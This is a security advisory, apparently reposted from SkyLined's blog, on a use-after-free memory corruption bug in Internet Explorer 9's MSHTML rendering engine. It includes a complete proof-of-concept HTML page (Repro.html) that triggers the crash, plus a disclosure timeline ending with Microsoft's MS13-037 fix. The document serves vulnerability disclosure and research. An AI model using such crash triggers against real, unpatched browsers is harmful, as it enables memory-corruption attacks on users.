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Microsoft Internet Explorer 9 MSHTML - CDispNode::InsertSiblingNode Use-Aft
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来源：http://blog.skylined.nl 作者：Skylined 发布时间：2016-12-12
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<!--
Source: http://blog.skylined.nl/20161207001.html
Synopsis
A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Java does not appear to be required for an attacker to triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The ZDI did do a more thorough analysis and provide some details in their advisory. I have included a number of reports created using a predecessor of Bug below.
Repro.html:
-->
<!doctype html>
<html>
<head>
<script>
window.onload=function(){location.reload();};
</script>
</head>
<body>
<var>
<img class="float" ismap="ismap" usemap="map"/>
<map id="map"><area/></map>
<dfn class="float"></dfn>
<a class="float"></a>
<input class="zoom"/>
text
</var>
<q class="border float zoom" xml:space="preserve"> </q>
</body>
<style type="text/css">
.float {
float:left;
}
.zoom {
zoom:3000%;
}
.border::first-letter {
border-top:1px;
}
</style>
</html>
<!--
Time-line
1 November 2012: This vulnerability was found through fuzzing.
2 November 2012: This vulnerability was submitted to ZDI.
19 November 2012: This vulnerability was acquired by ZDI.
4 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: Microsoft addresses this vulnerability in MS13-037.
7 December 2016: Details of this vulnerability are released.
-->
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